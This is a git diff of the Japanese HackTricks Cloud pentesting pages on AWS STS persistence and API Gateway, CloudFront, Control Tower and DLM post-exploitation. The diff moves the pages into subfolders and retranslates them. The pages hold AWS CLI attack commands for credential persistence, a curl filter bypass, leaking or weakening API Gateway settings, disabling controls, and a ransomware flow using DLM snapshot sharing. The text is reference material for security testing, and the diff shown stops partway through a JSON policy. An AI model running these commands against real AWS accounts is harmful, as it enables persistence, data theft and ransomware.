diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md
similarity index 62%
rename from src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
rename to src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md
index b3b98972a..2aebc3896 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md
@@ -1,36 +1,36 @@
 # AWS - STS Persistence
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## STS
 
-詳細情報は以下にアクセスしてください：
+詳細は以下を参照：
 
 {{#ref}}
-../aws-services/aws-sts-enum.md
+../../aws-services/aws-sts-enum.md
 {{#endref}}
 
 ### Assume role token
 
-一時的なトークンはリストできないため、アクティブな一時トークンを維持することが持続性を保つ方法です。
+一時トークンは一覧表示できないため、アクティブな一時トークンを維持することが persistence を保つ一つの方法です。
 
 <pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
 
-# MFAを使用する場合
+# With MFA
 aws sts get-session-token \
 --serial-number <mfa-device-name> \
 --token-code <code-from-token>
 
-# ハードウェアデバイス名は通常、デバイスの背面にある番号、例えばGAHT12345678です
-<strong># SMSデバイス名はAWSのARN、例えばarn:aws:iam::123456789012:sms-mfa/usernameです
-</strong># 仮想デバイス名はAWSのARN、例えばarn:aws:iam::123456789012:mfa/usernameです
+# Hardware device name is usually the number from the back of the device, such as GAHT12345678
+<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
+</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
 </code></pre>
 
 ### Role Chain Juggling
 
-[**ロールチェイニングは認められたAWSの機能です**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining)が、しばしばステルス持続性を維持するために利用されます。これは、**あるロールを引き受け、その後別のロールを引き受ける**能力を含み、**循環的に**最初のロールに戻る可能性があります。ロールが引き受けられるたびに、資格情報の有効期限フィールドが更新されます。したがって、2つのロールが互いに引き受けるように設定されている場合、この設定は資格情報の永続的な更新を可能にします。
+[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining)、これはステルス的な persistence を維持するためにしばしば利用されます。これは、**assume a role which then assumes another** 機能を含み、場合によっては初期の role に **cyclical manner** で戻る可能性があります。role が assume されるたびに、credentials の有効期限フィールドが更新されます。したがって、2つの role が相互に assume できるように設定されている場合、その構成により credentials の永続的な更新が可能になります。
 
-この[**ツール**](https://github.com/hotnops/AWSRoleJuggler/)を使用してロールチェイニングを維持できます：
+role chaining を維持するために、この [**tool**](https://github.com/hotnops/AWSRoleJuggler/) を使用できます：
 ```bash
 ./aws_role_juggler.py -h
 usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
@@ -40,11 +40,11 @@ optional arguments:
 -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
 ```
 > [!CAUTION]
-> 注意してください、そのGitHubリポジトリの[find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py)スクリプトは、ロールチェーンが構成されるすべての方法を見つけるわけではありません。
+> その Github リポジトリにある [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) スクリプトは、role chain が構成されるすべての方法を検出するわけではないことに注意してください。
 
 <details>
 
-<summary>PowerShellからロールジャグリングを実行するためのコード</summary>
+<summary>PowerShellからRole Jugglingを実行するCode</summary>
 ```bash
 # PowerShell script to check for role juggling possibilities using AWS CLI
 
@@ -124,4 +124,4 @@ Write-Host "Role juggling check complete."
 ```
 </details>
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
deleted file mode 100644
index 02eb4c550..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ /dev/null
@@ -1,132 +0,0 @@
-# AWS - API Gateway Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## API Gateway
-
-詳細については、次を確認してください：
-
-{{#ref}}
-../aws-services/aws-api-gateway-enum.md
-{{#endref}}
-
-### 未公開APIへのアクセス
-
-[https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) でサービス `com.amazonaws.us-east-1.execute-api` を使用してエンドポイントを作成し、アクセス可能なネットワーク（EC2マシン経由の可能性あり）でエンドポイントを公開し、すべての接続を許可するセキュリティグループを割り当てます。\
-その後、EC2マシンからエンドポイントにアクセスできるようになり、以前は公開されていなかったゲートウェイAPIを呼び出すことができます。
-
-### リクエストボディのパススルーをバイパス
-
-この技術は[**このCTFの解説**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp)で見つかりました。
-
-[AWSのドキュメント](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html)の`PassthroughBehavior`セクションに示されているように、デフォルトでは、**`WHEN_NO_MATCH`**の値は、リクエストの**Content-Type**ヘッダーをチェックする際に、リクエストを変換せずにバックエンドに渡します。
-
-したがって、CTFではAPI Gatewayに統合テンプレートがあり、`Content-Type: application/json`でリクエストが送信されたときに**フラグが応答で流出するのを防いでいました**。
-```yaml
-RequestTemplates:
-application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
-```
-しかし、**`Content-type: text/json`**を持つリクエストを送信することで、そのフィルターを回避できます。
-
-最後に、API Gatewayは`Get`と`Options`のみを許可していたため、ボディにクエリを含むPOSTリクエストを送信し、ヘッダー`X-HTTP-Method-Override: GET`を使用することで、任意のdynamoDBクエリを制限なしに送信することが可能でした：
-```bash
-curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
-```
-### Usage Plans DoS
-
-**Enumeration** セクションでは、キーの **使用プラン** を **取得する方法** を確認できます。キーがあり、**月あたりの使用回数がX回に制限されている**場合、**それを使用してDoSを引き起こすことができます**。
-
-**API Key** は、**`x-api-key`** という **HTTPヘッダー** に **含める** 必要があります。
-
-### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
-
-`apigateway:UpdateGatewayResponse` および `apigateway:CreateDeployment` の権限を持つ攻撃者は、**既存のGateway Responseを変更して、機密情報を漏洩させるカスタムヘッダーやレスポンステンプレートを含めたり、悪意のあるスクリプトを実行させたりすることができます**。
-```bash
-API_ID="your-api-id"
-RESPONSE_TYPE="DEFAULT_4XX"
-
-# Update the Gateway Response
-aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**潜在的な影響**: 機密情報の漏洩、悪意のあるスクリプトの実行、またはAPIリソースへの不正アクセス。
-
-> [!NOTE]
-> テストが必要
-
-### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
-
-`apigateway:UpdateStage`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**既存のAPI Gatewayステージを変更してトラフィックを別のステージにリダイレクトしたり、キャッシュ設定を変更してキャッシュデータへの不正アクセスを得ることができます**。
-```bash
-API_ID="your-api-id"
-STAGE_NAME="Prod"
-
-# Update the API Gateway stage
-aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**潜在的な影響**: キャッシュされたデータへの不正アクセス、APIトラフィックの中断または傍受。
-
-> [!NOTE]
-> テストが必要
-
-### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
-
-`apigateway:PutMethodResponse` および `apigateway:CreateDeployment` の権限を持つ攻撃者は、**既存のAPI Gateway REST APIメソッドのメソッドレスポンスを変更して、機密情報を漏洩させるカスタムヘッダーやレスポンステンプレートを含めたり、悪意のあるスクリプトを実行させたりすることができます**。
-```bash
-API_ID="your-api-id"
-RESOURCE_ID="your-resource-id"
-HTTP_METHOD="GET"
-STATUS_CODE="200"
-
-# Update the method response
-aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**潜在的な影響**: 機密情報の漏洩、悪意のあるスクリプトの実行、またはAPIリソースへの不正アクセス。
-
-> [!NOTE]
-> テストが必要
-
-### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
-
-`apigateway:UpdateRestApi`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**API Gateway REST APIの設定を変更してログ記録を無効にしたり、最小TLSバージョンを変更したりすることができ、APIのセキュリティを弱める可能性があります**。
-```bash
-API_ID="your-api-id"
-
-# Update the REST API settings
-aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**潜在的な影響**: APIのセキュリティが弱まり、未承認のアクセスを許可したり、機密情報を露出させる可能性があります。
-
-> [!NOTE]
-> テストが必要です
-
-### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
-
-`apigateway:CreateApiKey`、`apigateway:UpdateApiKey`、`apigateway:CreateUsagePlan`、および`apigateway:CreateUsagePlanKey`の権限を持つ攻撃者は、**新しいAPIキーを作成し、それらを使用プランに関連付け、これらのキーを使用してAPIへの未承認のアクセスを行うことができます**。
-```bash
-# Create a new API key
-API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
-
-# Create a new usage plan
-USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
-
-# Associate the API key with the usage plan
-aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
-```
-**潜在的な影響**: APIリソースへの不正アクセス、セキュリティコントロールのバイパス。
-
-> [!NOTE]
-> テストが必要
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md
new file mode 100644
index 000000000..5cfa6987b
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md
@@ -0,0 +1,132 @@
+# AWS - API Gateway Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## API Gateway
+
+詳細は次を参照してください:
+
+{{#ref}}
+../../aws-services/aws-api-gateway-enum.md
+{{#endref}}
+
+### 未公開の API にアクセス
+
+[https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) にサービス `com.amazonaws.us-east-1.execute-api` でエンドポイントを作成し、アクセス可能なネットワーク（場合によっては EC2 マシン経由）にエンドポイントを公開し、すべての接続を許可するセキュリティグループを割り当てることができます。\
+その後、EC2 マシンからエンドポイントにアクセスでき、これまで外部に公開されていなかった API Gateway を呼び出すことができます。
+
+### Bypass Request body passthrough
+
+This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
+
+As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation.
+
+したがって、CTF では API Gateway に統合テンプレートが設定されており、リクエストが `Content-Type: application/json` で送信された場合にレスポンス内で **preventing the flag from being exfiltrated** という挙動になっていました:
+```yaml
+RequestTemplates:
+application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
+```
+しかし、**`Content-type: text/json`** を送信するとそのフィルタを回避できた。
+
+最後に、API Gatewayが `Get` と `Options` のみを許可していたため、ボディにクエリを入れてPOSTリクエストを送信し、ヘッダ `X-HTTP-Method-Override: GET` を使用することで、任意のdynamoDBクエリを制限なく送信できた:
+```bash
+curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
+```
+### Usage Plans DoS
+
+この **Enumeration** セクションでは、キーの **usage plan を取得する** 方法が確認できます。キーを所持していて、1か月あたり X 回に **制限されている** 場合は、単にそのキーを使い続けて **DoS を引き起こす** ことが可能です。
+
+The **API Key** は **`x-api-key`** という **HTTP header** に **含める** だけで構いません。
+
+### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
+
+権限 `apigateway:UpdateGatewayResponse` と `apigateway:CreateDeployment` を持つ攻撃者は、**既存の Gateway Response を修正してカスタムヘッダやレスポンステンプレートを含め、機密情報を leak したり悪意あるスクリプトを実行させたりすることができます**。
+```bash
+API_ID="your-api-id"
+RESPONSE_TYPE="DEFAULT_4XX"
+
+# Update the Gateway Response
+aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**Potential Impact**: 機密情報の漏洩、悪意のあるスクリプトの実行、または API リソースへの不正アクセス。
+
+> [!NOTE]
+> テストが必要
+
+### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
+
+`apigateway:UpdateStage` と `apigateway:CreateDeployment` の権限を持つ攻撃者は、**既存の API Gateway ステージを変更してトラフィックを別のステージにリダイレクトしたり、キャッシュ設定を変更してキャッシュされたデータへ不正にアクセスしたりすることができます**。
+```bash
+API_ID="your-api-id"
+STAGE_NAME="Prod"
+
+# Update the API Gateway stage
+aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**潜在的影響**: キャッシュされたデータへの不正アクセス、APIトラフィックの妨害や傍受。
+
+> [!NOTE]
+> 検証が必要です
+
+### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
+
+権限 `apigateway:PutMethodResponse` と `apigateway:CreateDeployment` を持つ攻撃者は、既存の API Gateway REST API メソッドのメソッドレスポンスを **カスタムヘッダーやレスポンステンプレートを含めるように変更し、機密情報を leak したり悪意のあるスクリプトを実行させたりすることができます**。
+```bash
+API_ID="your-api-id"
+RESOURCE_ID="your-resource-id"
+HTTP_METHOD="GET"
+STATUS_CODE="200"
+
+# Update the method response
+aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**Potential Impact**: 敏感情報の漏洩、悪意のあるスクリプトの実行、または API リソースへの不正アクセス。
+
+> [!NOTE]
+> テストが必要
+
+### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
+
+`apigateway:UpdateRestApi` および `apigateway:CreateDeployment` の権限を持つ攻撃者は、**API Gateway REST API の設定を変更してログ記録を無効化したり、最小 TLS バージョンを変更したりして、API のセキュリティを弱体化させる可能性があります**。
+```bash
+API_ID="your-api-id"
+
+# Update the REST API settings
+aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**Potential Impact**: APIのセキュリティが弱まり、不正アクセスや機密情報が漏洩する可能性があります。
+
+> [!NOTE]
+> テストが必要
+
+### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
+
+権限 `apigateway:CreateApiKey`、`apigateway:UpdateApiKey`、`apigateway:CreateUsagePlan`、および `apigateway:CreateUsagePlanKey` を持つ攻撃者は、**新しい API keys を作成し、それらを usage plans に関連付け、これらのキーを使って APIs へ不正アクセスを行うことができます**。
+```bash
+# Create a new API key
+API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
+
+# Create a new usage plan
+USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
+
+# Associate the API key with the usage plan
+aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
+```
+**潜在的影響**: APIリソースへの不正アクセス、セキュリティコントロールのバイパス。
+
+> [!NOTE]
+> テストが必要
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
deleted file mode 100644
index 67c298cbc..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ /dev/null
@@ -1,31 +0,0 @@
-# AWS - CloudFront ポストエクスプロイテーション
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CloudFront
-
-詳細については、以下を確認してください：
-
-{{#ref}}
-../aws-services/aws-cloudfront-enum.md
-{{#endref}}
-
-### 中間者攻撃
-
-この[**ブログ投稿**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)では、**Lambda**を**CloudFront**を通じた**通信**に追加（または既に使用されている場合は変更）することで、ユーザー情報（セッション**クッキー**など）を**盗む**ことと、**応答**を**変更**する（悪意のあるJSスクリプトを注入する）いくつかの異なるシナリオが提案されています。
-
-#### シナリオ 1: CloudFrontがバケットのHTMLにアクセスするように設定されているMitM
-
-- **悪意のある** **関数**を**作成**します。
-- CloudFrontディストリビューションに**関連付け**ます。
-- **イベントタイプを「Viewer Response」に設定**します。
-
-応答にアクセスすることで、ユーザーのクッキーを盗み、悪意のあるJSを注入できます。
-
-#### シナリオ 2: CloudFrontが既にlambda関数を使用しているMitM
-
-- 機密情報を盗むためにlambda関数の**コードを変更**します。
-
-このシナリオを再現するための[**tfコードはこちら**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main)で確認できます。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md
new file mode 100644
index 000000000..d770df2a5
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md
@@ -0,0 +1,31 @@
+# AWS - CloudFront Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CloudFront
+
+詳細は以下を参照してください:
+
+{{#ref}}
+../../aws-services/aws-cloudfront-enum.md
+{{#endref}}
+
+### Man-in-the-Middle
+
+This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) は、**Lambda** が **CloudFront** を通した通信に追加（すでに使用されている場合は修正）され、セッションの **cookie** のようなユーザ情報を**stealing**し、**response** を**modifying**（悪意のある JS スクリプトを注入）する目的で使われるいくつかのシナリオを示しています。
+
+#### scenario 1: CloudFront が bucket の HTML にアクセスするよう設定されている場合の MitM
+
+- 悪意のある **function** を **作成** する。
+- それを CloudFront distribution に **関連付け** する。
+- **イベントタイプを "Viewer Response" に設定する。**
+
+レスポンスにアクセスすることで、ユーザの cookie を盗み、悪意のある JS を注入できます。
+
+#### scenario 2: CloudFront がすでに lambda function を使用している場合の MitM
+
+- lambda function の **code を変更** して機密情報を盗む。
+
+You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md
similarity index 50%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md
index 1c8e8f1b8..cc78bb416 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md
@@ -1,18 +1,18 @@
 # AWS - Control Tower Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Control Tower
 
 {{#ref}}
-../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
+../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
 {{#endref}}
 
 ### コントロールの有効化 / 無効化
 
-アカウントをさらに悪用するために、Control Towerのコントロールを無効化/有効化する必要があるかもしれません:
+アカウントをさらに exploit するには、Control Tower のコントロールを無効化/有効化する必要があるかもしれません:
 ```bash
 aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
 aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
deleted file mode 100644
index cf34fa00a..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ /dev/null
@@ -1,91 +0,0 @@
-# AWS - DLMポストエクスプロイテーション
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## データライフサイクルマネージャー (DLM)
-
-### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
-
-ランサムウェア攻撃は、できるだけ多くのEBSボリュームを暗号化し、その後現在のEC2インスタンス、EBSボリューム、およびスナップショットを削除することで実行できます。この悪意のある活動を自動化するために、Amazon DLMを使用し、別のAWSアカウントのKMSキーでスナップショットを暗号化し、暗号化されたスナップショットを別のアカウントに転送することができます。あるいは、暗号化なしでスナップショットを管理しているアカウントに転送し、そこで暗号化することも可能です。既存のEBSボリュームやスナップショットを直接暗号化するのは簡単ではありませんが、新しいボリュームやスナップショットを作成することで可能です。
-
-まず、インスタンスID、ボリュームID、暗号化ステータス、アタッチメントステータス、ボリュームタイプなどのボリュームに関する情報を収集するためのコマンドを使用します。
-
-`aws ec2 describe-volumes`
-
-次に、ライフサイクルポリシーを作成します。このコマンドはDLM APIを使用して、指定されたボリュームの毎日のスナップショットを指定された時間に自動的に取得するライフサイクルポリシーを設定します。また、スナップショットに特定のタグを適用し、ボリュームからスナップショットにタグをコピーします。policyDetails.jsonファイルには、ターゲットタグ、スケジュール、暗号化のためのオプションのKMSキーのARN、スナップショット共有のためのターゲットアカウントなど、ライフサイクルポリシーの詳細が含まれており、被害者のCloudTrailログに記録されます。
-```bash
-aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
-```
-ポリシー文書のテンプレートはここにあります:
-```bash
-{
-"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
-"ResourceTypes": [
-"VOLUME"
-],
-"TargetTags": [
-{
-"Key": "ExampleKey",
-"Value": "ExampleValue"
-}
-],
-"Schedules": [
-{
-"Name": "DailySnapshots",
-"CopyTags": true,
-"TagsToAdd": [
-{
-"Key": "SnapshotCreator",
-"Value": "DLM"
-}
-],
-"VariableTags": [
-{
-"Key": "CostCenter",
-"Value": "Finance"
-}
-],
-"CreateRule": {
-"Interval": 24,
-"IntervalUnit": "HOURS",
-"Times": [
-"03:00"
-]
-},
-"RetainRule": {
-"Count": 14
-},
-"FastRestoreRule": {
-"Count": 2,
-"Interval": 12,
-"IntervalUnit": "HOURS"
-},
-"CrossRegionCopyRules": [
-{
-"TargetRegion": "us-west-2",
-"Encrypted": true,
-"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
-"CopyTags": true,
-"RetainRule": {
-"Interval": 1,
-"IntervalUnit": "DAYS"
-}
-}
-],
-"ShareRules": [
-{
-"TargetAccounts": [
-"123456789012"
-],
-"UnshareInterval": 30,
-"UnshareIntervalUnit": "DAYS"
-}
-]
-}
-],
-"Parameters": {
-"ExcludeBootVolume": false
-}
-}
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md
new file mode 100644
index 000000000..20a68d286
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md
@@ -0,0 +1,91 @@
+# AWS - DLM Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Data Lifecycle Manger (DLM)
+
+### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
+
+A ransomware attackは、可能な限り多くの EBS volumes を暗号化し、その後現在の EC2 instances、EBS volumes、および snapshots を消去することで実行できます。この悪意のある活動を自動化するために、Amazon DLM を利用して、別の AWS account の KMS key で snapshots を暗号化し、暗号化された snapshots を別のアカウントに転送することができます。あるいは、暗号化せずに自分が管理するアカウントに snapshots を転送し、そこで暗号化する方法もあります。既存の EBS volumes や snapshots を直接暗号化するのは簡単ではありませんが、新しい volume や snapshot を作成することで暗号化することが可能です。
+
+まず最初に、instance ID、volume ID、暗号化の有無（encryption status）、アタッチ状態（attachment status）、volume type などの volume に関する情報を収集するために次のコマンドを使用します。
+
+`aws ec2 describe-volumes`
+
+次に、lifecycle policy を作成します。このコマンドは DLM API を利用して、指定したボリュームの snapshots を所定の時刻に毎日自動取得する lifecycle policy を設定します。さらに、snapshots に特定のタグを付与し、ボリュームから snapshots へタグをコピーします。policyDetails.json ファイルには、ターゲットタグ、スケジュール、暗号化用の任意の KMS key の ARN、スナップショット共有先のターゲットアカウントなど、lifecycle policy の詳細が含まれており、これらは被害者の CloudTrail ログに記録されます。
+```bash
+aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
+```
+ポリシー文書のテンプレートはここで確認できます:
+```bash
+{
+"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
+"ResourceTypes": [
+"VOLUME"
+],
+"TargetTags": [
+{
+"Key": "ExampleKey",
+"Value": "ExampleValue"
+}
+],
+"Schedules": [
+{
+"Name": "DailySnapshots",
+"CopyTags": true,
+"TagsToAdd": [
+{
+"Key": "SnapshotCreator",
+"Value": "DLM"
+}
+],
+"VariableTags": [
+{
+"Key": "CostCenter",
+"Value": "Finance"
+}
+],
+"CreateRule": {
+"Interval": 24,
+"IntervalUnit": "HOURS",
+"Times": [
+"03:00"
+]
+},
+"RetainRule": {
+"Count": 14
+},
+"FastRestoreRule": {
+"Count": 2,
+"Interval": 12,
+"IntervalUnit": "HOURS"
+},
